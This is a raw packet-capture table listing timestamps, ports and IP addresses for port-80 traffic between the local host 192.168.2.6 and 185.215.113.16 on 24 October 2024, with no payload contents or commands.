Oct 24, 2024 04:58:13.201337099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.201354027 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.201356888 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.201401949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.201549053 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.201581955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.201601028 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.201616049 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.201630116 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.201649904 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.201662064 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.201694012 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.201859951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.201893091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.201925993 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.201940060 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.201972008 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.202105045 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.202138901 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.202172041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.202207088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.202210903 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.202210903 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.202366114 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.239767075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.239818096 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.239821911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.239855051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.239906073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.239907980 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.239943981 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.239972115 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.239974976 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240005016 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.240011930 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240026951 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.240125895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240160942 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240180969 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.240194082 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240228891 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240230083 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.240258932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240258932 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.240283966 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.240297079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240330935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240339994 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.240364075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240397930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240410089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.240433931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240565062 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.240761995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240793943 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240844965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240852118 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.240894079 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.240895033 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240931034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240948915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.240967035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.240987062 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.241003036 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.241055012 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.241158962 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.241214037 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.241225004 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.241281986 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.241342068 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.241393089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.241425991 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.241447926 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.241458893 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.241475105 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.241513014 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.241657019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.241686106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.241722107 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.241739988 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.241744041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.241774082 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.241791010 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.241813898 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.241822958 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.241868973 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.241982937 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.242016077 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.242049932 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.242082119 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.242115021 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.282063007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.282111883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.282171011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.282207012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.282226086 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.282239914 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.282269001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.282293081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.282320023 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.282330990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.282360077 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.282391071 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.282393932 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.282412052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.282429934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.282449007 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.282469034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.282489061 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.282730103 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.287821054 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.287857056 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.287892103 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.287902117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.287928104 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.287947893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.287957907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.287991047 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.288026094 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.288048029 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.288062096 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.288074017 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.288120031 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.288196087 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.288224936 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.288280964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.288320065 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.288355112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.288388968 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.288408995 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.288444996 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.313055992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.313157082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.313210964 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.313214064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.313251019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.313287973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.313297987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.318126917 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.318185091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.318219900 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.318272114 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.318274021 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.318273067 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.318329096 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.318366051 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.318387985 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.318399906 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.318429947 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.318437099 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.318449974 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.318471909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.318494081 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.318507910 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.318516016 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.318556070 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.318845034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.318876028 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.318905115 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.318924904 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.318933964 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.318984985 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.318985939 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.319022894 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.319041967 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.319058895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.319067955 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.319094896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.319111109 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.319142103 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.319396019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.319453001 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.319464922 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.319489002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.319508076 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.319524050 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.319552898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.319560051 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.319575071 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.319617033 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.357278109 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.357332945 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.357366085 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.357398033 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.357419014 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.357446909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.357453108 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.357490063 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.357501984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.357522964 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.357542992 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.357558012 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.357573986 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.357609034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.357878923 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.357908964 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.357947111 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.357961893 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.357968092 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.357996941 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.358031988 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.358041048 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.358067036 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.358081102 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.358120918 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.358257055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.358294010 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.358324051 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.358326912 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.358345032 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.358367920 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.358509064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.358542919 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.358561993 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.358577967 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.358628988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.358689070 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.358741045 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.358776093 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.358795881 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.358820915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.358874083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.358927965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.358980894 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.358983040 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359019995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359041929 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.359054089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359081984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.359086990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359102964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.359118938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359164000 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.359169006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359204054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359232903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359256029 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.359272003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359319925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.359344006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359390020 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.359395981 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359428883 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359460115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359483957 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.359493017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359510899 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.359530926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359565973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.359616041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.399524927 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.399579048 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.399594069 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.399614096 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.399627924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.399648905 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.399663925 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.399684906 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.399708033 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.399727106 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.405086040 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.405137062 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.405184984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.405184984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.405189991 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.405224085 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.405244112 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.405258894 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.405276060 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.405292034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.405316114 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.405328035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.405338049 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.405363083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.405376911 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.405420065 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.405517101 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.405550003 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.405575037 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.405582905 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.405595064 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.405636072 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.435533047 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.435606956 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.435645103 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.435699940 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.435704947 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.435741901 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.435775995 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.435775995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.435815096 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.435830116 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.435851097 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.435870886 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.435888052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.435899019 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.435921907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.435935020 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.435957909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.435967922 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.435996056 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.436002016 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.436043978 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.436111927 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.436146021 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.436180115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.436192036 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.436223984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.436253071 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.436304092 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.436310053 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.436347008 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.436356068 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.436393023 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.436407089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.436440945 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.436451912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.436475039 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.436480045 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.436510086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.436517954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.436548948 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.436583042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.436595917 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.436618090 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.436631918 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.436665058 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.474606037 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.474678040 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.474715948 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.474750996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.474771976 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.474771976 CEST	49996	80	192.168.2.6	185.215.113.16
